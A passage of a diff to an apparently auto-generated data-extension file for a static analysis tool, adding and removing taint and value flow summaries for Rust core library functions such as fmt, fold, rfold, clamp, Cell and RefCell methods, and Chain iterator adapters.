"<&usize as crate::ops::bit::Shr>::shr", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "<&usize as crate::ops::bit::Shr>::shr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "<[_] as crate::convert::AsMut>::as_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<[_] as crate::convert::AsRef>::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<[_] as crate::slice::SlicePattern>::as_slice", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -90,7 +400,6 @@ extensions: - ["lang:core", "<_ as crate::borrow::Borrow>::borrow", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::borrow::BorrowMut>::borrow_mut", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::clone::uninit::CopySpec>::clone_one", "Argument[0].Reference", "Argument[1].Reference", "value", "dfc-generated"] - - ["lang:core", "<_ as crate::clone::uninit::CopySpec>::clone_one", "Argument[0]", "Argument[1].Reference", "value", "dfc-generated"] - ["lang:core", "<_ as crate::convert::From>::from", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::future::into_future::IntoFuture>::into_future", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "<_ as crate::iter::adapters::step_by::SpecRangeSetup>::setup", "Argument[0]", "ReturnValue", "value", "dfc-generated"] @@ -99,10 +408,14 @@ extensions: - ["lang:core", "<_ as crate::str::pattern::MultiCharEq>::matches", "Argument[0]", "Argument[self].Reference.Parameter[0]", "value", "dfc-generated"] - ["lang:core", "<_ as crate::str::pattern::MultiCharEq>::matches", "Argument[self].Reference.ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::clamp", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clamp", "Argument[1]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::clamp", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::max", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::max", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::min", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::min", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::disjoint_bitor", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::disjoint_bitor", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::bitand", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -118,6 +431,7 @@ extensions: - ["lang:core", "::then_some", "Argument[0]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_utf8_pattern", "Argument[self].Reference", "ReturnValue.Field[crate::option::Option::Some(0)].Field[crate::str::pattern::Utf8Pattern::CharPattern(0)]", "value", "dfc-generated"] - ["lang:core", "::into_searcher", "Argument[0]", "ReturnValue.Field[crate::str::pattern::CharSearcher::haystack]", "value", "dfc-generated"] - ["lang:core", "::into_searcher", "Argument[self]", "ReturnValue.Field[crate::str::pattern::CharSearcher::needle]", "value", "dfc-generated"] @@ -133,8 +447,9 @@ extensions: - ["lang:core", "::repeat", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::repeat_packed", "Argument[self].Field[crate::alloc::layout::Layout::align]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::alloc::layout::Layout::align]", "value", "dfc-generated"] - ["lang:core", "::size", "Argument[self].Field[crate::alloc::layout::Layout::size]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[0]", "ReturnValue.Field[crate::array::iter::IntoIter::data]", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[1].Field[crate::ops::range::Range::end]", "ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::end]", "value", "dfc-generated"] - ["lang:core", "::new_unchecked", "Argument[1].Field[crate::ops::range::Range::start]", "ReturnValue.Field[crate::array::iter::IntoIter::alive].Field[crate::ops::index_range::IndexRange::start]", "value", "dfc-generated"] @@ -165,11 +480,17 @@ extensions: - ["lang:core", "::as_bytes", "Argument[self].Field[crate::bstr::ByteStr(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::from_bytes", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_bytes_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::clone", "Argument[self].Field[crate::cell::BorrowRef::borrow]", "ReturnValue.Field[crate::cell::BorrowRef::borrow]", "value", "dfc-generated"] + - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::as_array_of_cells", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::as_slice_of_cells", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from_mut", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::Cell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::update", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] @@ -182,8 +503,14 @@ extensions: - ["lang:core", "::map_split", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["lang:core", "::map_split", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::as_ptr", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::borrow", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::borrow_mut", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::try_borrow_unguarded", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::undo_leak", "Argument[self].Field[crate::cell::RefCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::filter_map", "Argument[0].Field[crate::cell::RefMut::borrow]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::cell::RefMut::borrow]", "value", "dfc-generated"] - ["lang:core", "::filter_map", "Argument[0].Reference", "Argument[1].Parameter[0].Reference", "value", "dfc-generated"] - ["lang:core", "::filter_map", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] @@ -192,6 +519,8 @@ extensions: - ["lang:core", "::map_split", "Argument[0]", "Argument[1]", "taint", "df-generated"] - ["lang:core", "::map_split", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::from", "Argument[0]", "ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] + - ["lang:core", "::get", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_mut", "Argument[self].Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::SyncUnsafeCell::value].Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::raw_get", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -202,21 +531,22 @@ extensions: - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::cell::UnsafeCell::value]", "value", "dfc-generated"] - ["lang:core", "::raw_get", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::get_or_try_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_or_init", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::get_or_try_init", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::cell::once::OnceCell::inner].Field[crate::cell::UnsafeCell::value]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::set", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] - ["lang:core", "::try_insert", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)].Field[1]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[0].Field[crate::char::EscapeDebugInner::Char(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::char::EscapeDebug(0)].Field[crate::char::EscapeDebugInner::Char(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::char::decode::DecodeUtf16::iter].Element", "Argument[self].Field[crate::char::decode::DecodeUtf16::buf].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::char::decode::DecodeUtf16::iter].Element", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unpaired_surrogate", "Argument[self].Field[crate::char::decode::DecodeUtf16Error::code]", "ReturnValue", "value", "dfc-generated"] @@ -233,12 +563,16 @@ extensions: - ["lang:core", "::provide_value_with", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::next", "Argument[self].Field[crate::error::Source::current]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_request", "Argument[self]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::backslash", "Argument[0]", "ReturnValue.Field[crate::escape::EscapeIterInner::data].Element", "value", "dfc-generated"] + - ["lang:core", "::len", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::escape::EscapeIterInner::alive].Field[crate::ops::range::Range::start]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::escape::EscapeIterInner::alive].Field[crate::ops::range::Range::end]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::as_ref", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::deref", "Argument[self].Field[crate::ffi::va_list::VaList::inner]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::deref_mut", "Argument[self].Field[crate::ffi::va_list::VaList::inner]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::as_va_list", "Argument[self]", "ReturnValue.Field[crate::ffi::va_list::VaList::inner]", "value", "dfc-generated"] - ["lang:core", "::with_copy", "Argument[0].ReturnValue", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::as_statically_known_str", "Argument[self].Field[crate::fmt::Arguments::pieces].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::as_str", "Argument[self].Field[crate::fmt::Arguments::pieces].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new_const", "Argument[0]", "ReturnValue.Field[crate::fmt::Arguments::pieces]", "value", "dfc-generated"] - ["lang:core", "::new_v1", "Argument[0]", "ReturnValue.Field[crate::fmt::Arguments::pieces]", "value", "dfc-generated"] @@ -246,46 +580,34 @@ extensions: - ["lang:core", "::new_v1_formatted", "Argument[0]", "ReturnValue.Field[crate::fmt::Arguments::pieces]", "value", "dfc-generated"] - ["lang:core", "::new_v1_formatted", "Argument[1]", "ReturnValue.Field[crate::fmt::Arguments::args]", "value", "dfc-generated"] - ["lang:core", "::new_v1_formatted", "Argument[2]", "ReturnValue.Field[crate::fmt::Arguments::fmt].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::align", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::align]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::fmt", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::debug_list", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugList::inner].Field[crate::fmt::builders::DebugInner::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_map", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugMap::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_set", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugSet::inner].Field[crate::fmt::builders::DebugInner::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_struct", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugStruct::fmt]", "value", "dfc-generated"] - ["lang:core", "::debug_tuple", "Argument[self]", "ReturnValue.Field[crate::fmt::builders::DebugTuple::fmt]", "value", "dfc-generated"] - - ["lang:core", "::fill", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::fill]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::flags", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::flags]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::flags", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::fmt::Formatter::buf]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::fmt::Formatter::options]", "value", "dfc-generated"] - ["lang:core", "::options", "Argument[self].Field[crate::fmt::Formatter::options]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::padding", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::fmt::PostPadding::padding]", "value", "dfc-generated"] - - ["lang:core", "::padding", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::fill]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::fmt::PostPadding::fill]", "value", "dfc-generated"] - - ["lang:core", "::precision", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::precision]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::width", "Argument[self].Field[crate::fmt::Formatter::options].Field[crate::fmt::FormattingOptions::width]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::pad", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::pad_integral", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::padding", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::precision", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::width", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::with_options", "Argument[0]", "ReturnValue.Field[crate::fmt::Formatter::options]", "value", "dfc-generated"] - ["lang:core", "::with_options", "Argument[self].Field[crate::fmt::Formatter::buf]", "ReturnValue.Field[crate::fmt::Formatter::buf]", "value", "dfc-generated"] - - ["lang:core", "::align", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::align]", "value", "dfc-generated"] - - ["lang:core", "::align", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::align]", "value", "dfc-generated"] - ["lang:core", "::align", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::alternate", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::create_formatter", "Argument[0]", "ReturnValue.Field[crate::fmt::Formatter::buf]", "value", "dfc-generated"] - ["lang:core", "::create_formatter", "Argument[self]", "ReturnValue.Field[crate::fmt::Formatter::options]", "value", "dfc-generated"] - ["lang:core", "::debug_as_hex", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::fill", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::fill]", "value", "dfc-generated"] - - ["lang:core", "::fill", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::fill]", "value", "dfc-generated"] - ["lang:core", "::fill", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::flags", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::flags]", "value", "dfc-generated"] - - ["lang:core", "::get_align", "Argument[self].Field[crate::fmt::FormattingOptions::align]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_fill", "Argument[self].Field[crate::fmt::FormattingOptions::fill]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_flags", "Argument[self].Field[crate::fmt::FormattingOptions::flags]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_precision", "Argument[self].Field[crate::fmt::FormattingOptions::precision]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::get_width", "Argument[self].Field[crate::fmt::FormattingOptions::width]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::precision", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::precision]", "value", "dfc-generated"] - - ["lang:core", "::precision", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::precision]", "value", "dfc-generated"] + - ["lang:core", "::get_precision", "Argument[self].Field[crate::fmt::FormattingOptions::precision]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::get_width", "Argument[self].Field[crate::fmt::FormattingOptions::width]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::precision", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::sign", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::sign_aware_zero_pad", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::width", "Argument[0]", "Argument[self].Field[crate::fmt::FormattingOptions::width]", "value", "dfc-generated"] - - ["lang:core", "::width", "Argument[0]", "ReturnValue.Field[crate::fmt::FormattingOptions::width]", "value", "dfc-generated"] - ["lang:core", "::width", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::entries", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::entry", "Argument[self]", "ReturnValue", "value", "dfc-generated"] @@ -335,15 +657,14 @@ extensions: - ["lang:core", "::digit", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::digit", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::digit", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["lang:core", "::as_usize", "Argument[self].Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - - ["lang:core", "::from_usize", "Argument[0].Reference", "ReturnValue.Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)]", "value", "dfc-generated"] + - ["lang:core", "::as_u16", "Argument[self].Field[crate::fmt::rt::Argument::ty].Field[crate::fmt::rt::ArgumentType::Count(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::from_usize", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::fmt::rt::Placeholder::position]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::fmt::rt::Placeholder::fill]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[2]", "ReturnValue.Field[crate::fmt::rt::Placeholder::align]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[3]", "ReturnValue.Field[crate::fmt::rt::Placeholder::flags]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[4]", "ReturnValue.Field[crate::fmt::rt::Placeholder::precision]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[5]", "ReturnValue.Field[crate::fmt::rt::Placeholder::width]", "value", "dfc-generated"] - - ["lang:core", "::take_output", "Argument[self].Reference.Field[crate::future::join::MaybeDone::Done(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[0].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_inner", "Argument[self].Field[crate::future::ready::Ready(0)].Field[crate::option::Option::Some(0)]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::clone", "Argument[self]", "ReturnValue", "taint", "df-generated"] @@ -360,7 +681,7 @@ extensions: - ["lang:core", "::set_init", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::unfilled", "Argument[self].Field[crate::io::borrowed_buf::BorrowedBuf::filled]", "ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::start]", "value", "dfc-generated"] - ["lang:core", "::advance", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - - ["lang:core", "::advance_unchecked", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::advance_unchecked", "Argument[self]", "ReturnValue", "value", "df-generated"] - ["lang:core", "::capacity", "Argument[self]", "ReturnValue", "taint", "df-generated"] - ["lang:core", "::ensure_init", "Argument[self]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::reborrow", "Argument[self].Field[crate::io::borrowed_buf::BorrowedCursor::start]", "ReturnValue.Field[crate::io::borrowed_buf::BorrowedCursor::start]", "value", "dfc-generated"] @@ -375,17 +696,39 @@ extensions: - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::into_remainder", "Argument[self].Field[crate::iter::adapters::array_chunks::ArrayChunks::remainder]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::array_chunks::ArrayChunks::iter]", "value", "dfc-generated"] + - ["lang:core", "::advance_back_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::rfold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::advance_by", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["lang:core", "::fold", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::by_ref_sized::ByRefSized(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[0].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::by_ref_sized::ByRefSized(0)].Element", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next_back", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth_back", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfind", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::rfind", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::find", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::find", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::next", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["lang:core", "::nth", "Argument[self].Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] - ["lang:core", "::try_fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[0]", "ReturnValue.Field[crate::iter::adapters::chain::Chain::a].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] - ["lang:core", "::new", "Argument[1]", "ReturnValue.Field[crate::iter::adapters::chain::Chain::b].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["lang:core", "::rfold", "Argument[1].ReturnValue", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::try_rfold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[0]", "ReturnValue", "value", "dfc-generated"] - ["lang:core", "::fold", "Argument[1].ReturnValue", "ReturnValue", "value", 